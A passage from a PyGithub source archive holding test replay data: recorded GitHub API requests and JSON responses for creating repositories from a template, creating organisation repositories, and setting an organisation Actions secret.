s://api.github.com/repos/actions/hello-world-docker-action/git/refs{/sha}","trees_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/trees{/sha}","statuses_url":"https://api.github.com/repos/actions/hello-world-docker-action/statuses/{sha}","languages_url":"https://api.github.com/repos/actions/hello-world-docker-action/languages","stargazers_url":"https://api.github.com/repos/actions/hello-world-docker-action/stargazers","contributors_url":"https://api.github.com/repos/actions/hello-world-docker-action/contributors","subscribers_url":"https://api.github.com/repos/actions/hello-world-docker-action/subscribers","subscription_url":"https://api.github.com/repos/actions/hello-world-docker-action/subscription","commits_url":"https://api.github.com/repos/actions/hello-world-docker-action/commits{/sha}","git_commits_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/commits{/sha}","comments_url":"https://api.github.com/repos/actions/hello-world-docker-action/comments{/number}","issue_comment_url":"https://api.github.com/repos/actions/hello-world-docker-action/issues/comments{/number}","contents_url":"https://api.github.com/repos/actions/hello-world-docker-action/contents/{+path}","compare_url":"https://api.github.com/repos/actions/hello-world-docker-action/compare/{base}...{head}","merges_url":"https://api.github.com/repos/actions/hello-world-docker-action/merges","archive_url":"https://api.github.com/repos/actions/hello-world-docker-action/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/actions/hello-world-docker-action/downloads","issues_url":"https://api.github.com/repos/actions/hello-world-docker-action/issues{/number}","pulls_url":"https://api.github.com/repos/actions/hello-world-docker-action/pulls{/number}","milestones_url":"https://api.github.com/repos/actions/hello-world-docker-action/milestones{/number}","notifications_url":"https://api.github.com/repos/actions/hello-world-docker-action/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/actions/hello-world-docker-action/labels{/name}","releases_url":"https://api.github.com/repos/actions/hello-world-docker-action/releases{/id}","deployments_url":"https://api.github.com/repos/actions/hello-world-docker-action/deployments","created_at":"2019-08-04T04:10:12Z","updated_at":"2020-02-07T09:28:27Z","pushed_at":"2020-01-17T19:48:23Z","git_url":"git://github.com/actions/hello-world-docker-action.git","ssh_url":"git@github.com:actions/hello-world-docker-action.git","clone_url":"https://github.com/actions/hello-world-docker-action.git","svn_url":"https://github.com/actions/hello-world-docker-action","homepage":"https://help.github.com/en/articles/creating-a-docker-container-action","size":11,"stargazers_count":26,"watchers_count":26,"language":"Dockerfile","has_issues":true,"has_projects":false,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":30,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":1,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"forks":30,"open_issues":1,"watchers":26,"default_branch":"master","permissions":{"admin":false,"push":false,"pull":true},"temp_clone_token":"","organization":{"login":"actions","id":44036562,"node_id":"MDEyOk9yZ2FuaXphdGlvbjQ0MDM2NTYy","avatar_url":"https://avatars1.githubusercontent.com/u/44036562?v=4","gravatar_id":"","url":"https://api.github.com/users/actions","html_url":"https://github.com/actions","followers_url":"https://api.github.com/users/actions/followers","following_url":"https://api.github.com/users/actions/following{/other_user}","gists_url":"https://api.github.com/users/actions/gists{/gist_id}","starred_url":"https://api.github.com/users/actions/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/actions/subscriptions","organizations_url":"https://api.github.com/users/actions/orgs","repos_url":"https://api.github.com/users/actions/repos","events_url":"https://api.github.com/users/actions/events{/privacy}","received_events_url":"https://api.github.com/users/actions/received_events","type":"Organization","site_admin":false},"network_count":30,"subscribers_count":1} https POST api.github.com None /repos/actions/hello-world-docker-action/generate {'Accept': 'application/vnd.github.v3+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"name": "hello-world-docker-action-new", "owner": "BeaverSoftware", "description": "My repo from template", "include_all_branches": true, "private": true} 201 [('Server', 'GitHub.com'), ('Date', 'Wed, 12 Feb 2020 18:18:12 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '12619'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4991'), ('X-RateLimit-Reset', '1581534987'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept'), ('ETag', '"7ab10890a25b4661a4310dc8dbf4491f"'), ('X-OAuth-Scopes', 'public_repo, read:org, read:user, user:email'), ('X-Accepted-OAuth-Scopes', ''), ('Location', 'https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new'), ('X-GitHub-Media-Type', 'github.baptiste-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'C35C:1792:11E12C:2D04D2:5E444162')] {"id":240083127,"node_id":"MDEwOlJlcG9zaXRvcnkyNDAwODMxMjc=","name":"hello-world-docker-action-new","full_name":"BeaverSoftware/hello-world-docker-action-new","owner":{"login":"BeaverSoftware","id":60894054,"node_id":"MDEyOk9yZ2FuaXphdGlvbjYwODk0MDU0","avatar_url":"https://avatars2.githubusercontent.com/u/60894054?v=4","gravatar_id":"","url":"https://api.github.com/users/BeaverSoftware","html_url":"https://github.com/BeaverSoftware","followers_url":"https://api.github.com/users/BeaverSoftware/followers","following_url":"https://api.github.com/users/BeaverSoftware/following{/other_user}","gists_url":"https://api.github.com/users/BeaverSoftware/gists{/gist_id}","starred_url":"https://api.github.com/users/BeaverSoftware/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/BeaverSoftware/subscriptions","organizations_url":"https://api.github.com/users/BeaverSoftware/orgs","repos_url":"https://api.github.com/users/BeaverSoftware/repos","events_url":"https://api.github.com/users/BeaverSoftware/events{/privacy}","received_events_url":"https://api.github.com/users/BeaverSoftware/received_events","type":"Organization","site_admin":false},"private":true,"html_url":"https://github.com/BeaverSoftware/hello-world-docker-action-new","description":"My repo from template","fork":false,"url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new","forks_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/forks","keys_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/keys{/key_id}","collaborators_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/teams","hooks_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/hooks","issue_events_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/issues/events{/number}","events_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/events","assignees_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/assignees{/user}","branches_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/branches{/branch}","tags_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/tags","blobs_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/git/refs{/sha}","trees_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/git/trees{/sha}","statuses_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/statuses/{sha}","languages_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/languages","stargazers_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/stargazers","contributors_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/contributors","subscribers_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/subscribers","subscription_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/subscription","commits_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/commits{/sha}","git_commits_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/git/commits{/sha}","comments_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/comments{/number}","issue_comment_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/issues/comments{/number}","contents_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/contents/{+path}","compare_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/compare/{base}...{head}","merges_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/merges","archive_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/downloads","issues_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/issues{/number}","pulls_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/pulls{/number}","milestones_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/milestones{/number}","notifications_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/labels{/name}","releases_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/releases{/id}","deployments_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/deployments","created_at":"2020-02-12T18:18:11Z","updated_at":"2020-02-12T18:18:11Z","pushed_at":"2020-02-12T18:18:12Z","git_url":"git://github.com/BeaverSoftware/hello-world-docker-action-new.git","ssh_url":"git@github.com:BeaverSoftware/hello-world-docker-action-new.git","clone_url":"https://github.com/BeaverSoftware/hello-world-docker-action-new.git","svn_url":"https://github.com/BeaverSoftware/hello-world-docker-action-new","homepage":null,"size":0,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":null,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"pull":true,"push":true,"admin":true},"is_template":false,"template_repository":{"id":200448202,"node_id":"MDEwOlJlcG9zaXRvcnkyMDA0NDgyMDI=","name":"hello-world-docker-action","full_name":"actions/hello-world-docker-action","owner":{"login":"actions","id":44036562,"node_id":"MDEyOk9yZ2FuaXphdGlvbjQ0MDM2NTYy","avatar_url":"https://avatars1.githubusercontent.com/u/44036562?v=4","gravatar_id":"","url":"https://api.github.com/users/actions","html_url":"https://github.com/actions","followers_url":"https://api.github.com/users/actions/followers","following_url":"https://api.github.com/users/actions/following{/other_user}","gists_url":"https://api.github.com/users/actions/gists{/gist_id}","starred_url":"https://api.github.com/users/actions/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/actions/subscriptions","organizations_url":"https://api.github.com/users/actions/orgs","repos_url":"https://api.github.com/users/actions/repos","events_url":"https://api.github.com/users/actions/events{/privacy}","received_events_url":"https://api.github.com/users/actions/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/actions/hello-world-docker-action","description":"A template to demonstrate how to build a Docker action.","fork":false,"url":"https://api.github.com/repos/actions/hello-world-docker-action","forks_url":"https://api.github.com/repos/actions/hello-world-docker-action/forks","keys_url":"https://api.github.com/repos/actions/hello-world-docker-action/keys{/key_id}","collaborators_url":"https://api.github.com/repos/actions/hello-world-docker-action/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/actions/hello-world-docker-action/teams","hooks_url":"https://api.github.com/repos/actions/hello-world-docker-action/hooks","issue_events_url":"https://api.github.com/repos/actions/hello-world-docker-action/issues/events{/number}","events_url":"https://api.github.com/repos/actions/hello-world-docker-action/events","assignees_url":"https://api.github.com/repos/actions/hello-world-docker-action/assignees{/user}","branches_url":"https://api.github.com/repos/actions/hello-world-docker-action/branches{/branch}","tags_url":"https://api.github.com/repos/actions/hello-world-docker-action/tags","blobs_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/refs{/sha}","trees_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/trees{/sha}","statuses_url":"https://api.github.com/repos/actions/hello-world-docker-action/statuses/{sha}","languages_url":"https://api.github.com/repos/actions/hello-world-docker-action/languages","stargazers_url":"https://api.github.com/repos/actions/hello-world-docker-action/stargazers","contributors_url":"https://api.github.com/repos/actions/hello-world-docker-action/contributors","subscribers_url":"https://api.github.com/repos/actions/hello-world-docker-action/subscribers","subscription_url":"https://api.github.com/repos/actions/hello-world-docker-action/subscription","commits_url":"https://api.github.com/repos/actions/hello-world-docker-action/commits{/sha}","git_commits_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/commits{/sha}","comments_url":"https://api.github.com/repos/actions/hello-world-docker-action/comments{/number}","issue_comment_url":"https://api.github.com/repos/actions/hello-world-docker-action/issues/comments{/number}","contents_url":"https://api.github.com/repos/actions/hello-world-docker-action/contents/{+path}","compare_url":"https://api.github.com/repos/actions/hello-world-docker-action/compare/{base}...{head}","merges_url":"https://api.github.com/repos/actions/hello-world-docker-action/merges","archive_url":"https://api.github.com/repos/actions/hello-world-docker-action/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/actions/hello-world-docker-action/downloads","issues_url":"https://api.github.com/repos/actions/hello-world-docker-action/issues{/number}","pulls_url":"https://api.github.com/repos/actions/hello-world-docker-action/pulls{/number}","milestones_url":"https://api.github.com/repos/actions/hello-world-docker-action/milestones{/number}","notifications_url":"https://api.github.com/repos/actions/hello-world-docker-action/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/actions/hello-world-docker-action/labels{/name}","releases_url":"https://api.github.com/repos/actions/hello-world-docker-action/releases{/id}","deployments_url":"https://api.github.com/repos/actions/hello-world-docker-action/deployments","created_at":"2019-08-04T04:10:12Z","updated_at":"2020-02-07T09:28:27Z","pushed_at":"2020-01-17T19:48:23Z","git_url":"git://github.com/actions/hello-world-docker-action.git","ssh_url":"git@github.com:actions/hello-world-docker-action.git","clone_url":"https://github.com/actions/hello-world-docker-action.git","svn_url":"https://github.com/actions/hello-world-docker-action","homepage":"https://help.github.com/en/articles/creating-a-docker-container-action","size":11,"stargazers_count":26,"watchers_count":26,"language":"Dockerfile","has_issues":true,"has_projects":false,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":30,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":1,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"forks":30,"open_issues":1,"watchers":26,"default_branch":"master","permissions":{"pull":true,"push":false,"admin":false},"is_template":true},"organization":{"login":"BeaverSoftware","id":60894054,"node_id":"MDEyOk9yZ2FuaXphdGlvbjYwODk0MDU0","avatar_url":"https://avatars2.githubusercontent.com/u/60894054?v=4","gravatar_id":"","url":"https://api.github.com/users/BeaverSoftware","html_url":"https://github.com/BeaverSoftware","followers_url":"https://api.github.com/users/BeaverSoftware/followers","following_url":"https://api.github.com/users/BeaverSoftware/following{/other_user}","gists_url":"https://api.github.com/users/BeaverSoftware/gists{/gist_id}","starred_url":"https://api.github.com/users/BeaverSoftware/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/BeaverSoftware/subscriptions","organizations_url":"https://api.github.com/users/BeaverSoftware/orgs","repos_url":"https://api.github.com/users/BeaverSoftware/repos","events_url":"https://api.github.com/users/BeaverSoftware/events{/privacy}","received_events_url":"https://api.github.com/users/BeaverSoftware/received_events","type":"Organization","site_admin":false},"subscribers_count":0,"network_count":1} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testCreateRepoWithAllArguments.txt0000644000175100001660000000636514756101563027500 0ustar00runnerdockerhttps GET api.github.com None /teams/141496 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('x-ratelimit-limit', '5000'), ('content-length', '128'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('etag', '"b93241eaf4384574f38b352b25595e28"'), ('date', 'Fri, 01 Jun 2012 19:35:59 GMT'), ('content-type', 'application/json; charset=utf-8')] {"repos_count":1,"permission":"push","url":"https://api.github.com/teams/141496","name":"Members","id":141496,"members_count":1} https POST api.github.com None /orgs/BeaverSoftware/repos {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.nebula-preview+json'} {"has_wiki": false, "name": "TestPyGithub2", "has_downloads": false, "private": false, "visibility": "public", "team_id": 141496, "has_issues": false, "homepage": "http://foobar.com", "description": "Repo created by PyGithub", "has_projects": false, "allow_update_branch": true, "allow_squash_merge": false, "allow_merge_commit": false, "allow_rebase_merge": true, "delete_branch_on_merge": false} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4969'), ('content-length', '1501'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"feb513e01eaf8e89967068fe8ed44cc7"'), ('date', 'Sun, 27 May 2012 05:20:43 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/BeaverSoftware/TestPyGithub2')] {"organization":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"BeaverSoftware","id":1424031},"clone_url":"https://github.com/BeaverSoftware/TestPyGithub2.git","has_downloads":false,"watchers":1,"updated_at":"2012-05-27T05:20:42Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://foobar.com","url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub2","mirror_url":null,"has_wiki":false,"has_pages":false,"has_issues":false,"fork":false,"forks":1,"size":0,"private":false,"open_issues":0,"svn_url":"https://github.com/BeaverSoftware/TestPyGithub2","owner":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"BeaverSoftware","id":1424031},"name":"TestPyGithub2","language":null,"description":"Repo created by PyGithub","ssh_url":"git@github.com:BeaverSoftware/TestPyGithub2.git","pushed_at":"2012-05-27T05:20:42Z","created_at":"2012-05-27T05:20:42Z","id":4460019,"git_url":"git://github.com/BeaverSoftware/TestPyGithub2.git","html_url":"https://github.com/BeaverSoftware/TestPyGithub2","full_name":"BeaverSoftware/TestPyGithub2", "has_projects": false, "allow_update_branch": true, "allow_squash_merge": false, "allow_merge_commit": false, "allow_rebase_merge": true, "delete_branch_on_merge": false} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testCreateRepoWithMinimalArguments.txt0000644000175100001660000000412714756101563030350 0ustar00runnerdockerhttps POST api.github.com None /orgs/BeaverSoftware/repos {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.nebula-preview+json'} {"name": "TestPyGithub"} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4971'), ('content-length', '1453'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"074f73773c425ba61e6a7738dc89b6ed"'), ('date', 'Sun, 27 May 2012 05:20:24 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/BeaverSoftware/TestPyGithub')] {"organization":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"BeaverSoftware","id":1424031},"clone_url":"https://github.com/BeaverSoftware/TestPyGithub.git","has_downloads":true,"watchers":1,"updated_at":"2012-05-27T05:20:24Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":null,"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","mirror_url":null,"has_wiki":true,"has_pages":true,"has_issues":true,"fork":false,"forks":1,"size":0,"private":false,"open_issues":0,"svn_url":"https://github.com/BeaverSoftware/TestPyGithub","owner":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"BeaverSoftware","id":1424031},"name":"TestPyGithub","language":null,"description":null,"ssh_url":"git@github.com:BeaverSoftware/TestPyGithub.git","pushed_at":"2012-05-27T05:20:24Z","created_at":"2012-05-27T05:20:24Z","id":4460018,"git_url":"git://github.com/BeaverSoftware/TestPyGithub.git","html_url":"https://github.com/BeaverSoftware/TestPyGithub","full_name":"BeaverSoftware/TestPyGithub"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testCreateRepositoryWithAutoInit.txt0000644000175100001660000000463114756101563030102 0ustar00runnerdockerhttps POST api.github.com None /orgs/BeaverSoftware/repos {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.nebula-preview+json'} {"gitignore_template": "Python", "name": "TestPyGithub", "auto_init": true} 201 [('status', '201 Created'), ('content-length', '1559'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('x-ratelimit-remaining', '4996'), ('server', 'nginx'), ('connection', 'keep-alive'), ('etag', '"2f35ceac1b69bbfc8c38907877514e9d"'), ('location', 'https://api.github.com/repos/BeaverSoftware/TestPyGithub'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Sat, 03 Nov 2012 09:03:49 GMT'), ('content-type', 'application/json; charset=utf-8')] {"watchers":0,"pushed_at":"2012-11-03T09:03:49Z","forks":0,"has_issues":true,"has_downloads":true,"open_issues_count":0,"description":null,"html_url":"https://github.com/BeaverSoftware/TestPyGithub","owner":{"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031},"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","updated_at":"2012-11-03T09:03:49Z","organization":{"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031},"permissions":{"push":true,"pull":true,"admin":true},"mirror_url":null,"clone_url":"https://github.com/BeaverSoftware/TestPyGithub.git","language":null,"has_wiki":true,"has_pages":true,"ssh_url":"git@github.com:BeaverSoftware/TestPyGithub.git","svn_url":"https://github.com/BeaverSoftware/TestPyGithub","size":0,"fork":false,"full_name":"BeaverSoftware/TestPyGithub","open_issues":0,"git_url":"git://github.com/BeaverSoftware/TestPyGithub.git","forks_count":0,"name":"TestPyGithub","created_at":"2012-11-03T09:03:49Z","homepage":null,"private":false,"visibility":"public","id":6517856,"master_branch":"master","network_count":0,"watchers_count":0} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testCreateSecretSelected.txt0000644000175100001660000002033314756101563026305 0ustar00runnerdockerhttps GET api.github.com None /repos/BeaverSoftware/TestPyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.nebula-preview+json'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '1431'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"4ecd2c151a469cfa6cd45e6beff1269b"'), ('date', 'Fri, 01 Jun 2012 19:40:56 GMT'), ('content-type', 'application/json; charset=utf-8')] {"clone_url":"https://github.com/BeaverSoftware/TestPyGithub.git","has_downloads":true,"watchers":1,"git_url":"git://github.com/BeaverSoftware/TestPyGithub.git","updated_at":"2012-04-25T06:51:38Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","has_wiki":true,"has_pages":false,"has_issues":false,"fork":false,"forks":0,"mirror_url":null,"size":112,"private":false,"open_issues":0,"svn_url":"https://github.com/BeaverSoftware/TestPyGithub","owner":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"name":"TestPyGithub","language":null,"description":"Guinea-pig for PyGithub testing","ssh_url":"git@github.com:BeaverSoftware/TestPyGithub.git","pushed_at":"2012-03-03T08:57:40Z","created_at":"2012-03-03T07:53:19Z","id":3609352,"html_url":"https://github.com/BeaverSoftware/TestPyGithub","full_name":"BeaverSoftware/TestPyGithub"} https GET api.github.com None /repos/BeaverSoftware/FatherBeaver {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.nebula-preview+json'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '1431'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"4ecd2c151a469cfa6cd45e6beff1269b"'), ('date', 'Fri, 01 Jun 2012 19:40:56 GMT'), ('content-type', 'application/json; charset=utf-8')] {"clone_url":"https://github.com/BeaverSoftware/FatherBeaver.git","has_downloads":true,"watchers":2,"git_url":"git://github.com/BeaverSoftware/FatherBeaver.git","updated_at":"2012-02-16T21:51:15Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver","has_wiki":true,"has_pages":true,"has_issues":true,"fork":false,"forks":1,"mirror_url":null,"size":0,"private":false,"open_issues":0,"svn_url":"https://github.com/BeaverSoftware/FatherBeaver","owner":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"name":"FatherBeaver","language":null,"description":"","ssh_url":"git@github.com:BeaverSoftware/FatherBeaver.git","pushed_at":null,"created_at":"2012-02-09T19:32:21Z","id":3400397,"html_url":"https://github.com/BeaverSoftware/FatherBeaver","full_name":"BeaverSoftware/FatherBeaver"} https GET api.github.com None /orgs/BeaverSoftware/actions/secrets/public-key {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4978'), ('content-length', '487'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1dd282b50e691f8f162ef9355dad8771"'), ('date', 'Thu, 10 May 2012 19:03:19 GMT'), ('content-type', 'application/json; charset=utf-8')] {"key": "u5e1Z25+z8pmgVVt5Pd8k0z/sKpVL1MXYtRAecE4vm8=", "key_id": "568250167242549743"} https PUT api.github.com None /orgs/BeaverSoftware/actions/secrets/secret-name {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"encrypted_value": "M+5Fm/BqTfB90h3nC7F3BoZuu3nXs+/KtpXwxm9gG211tbRo0F5UiN0OIfYT83CKcx9oKES9Va4E96/b", "key_id": "568250167242549743", "visibility": "selected", "selected_repository_ids": [3609352, 3400397]} 201 [('Date', 'Fri, 17 Apr 2020 00:12:33 GMT'), ('Server', 'GitHub.com'), ('Content-Length', '2'), ('Content-Type', 'application/json; charset=utf-8'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4984'), ('X-RateLimit-Reset', '1587085388'), ('X-OAuth-Scopes', 'read:org, repo, user'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, 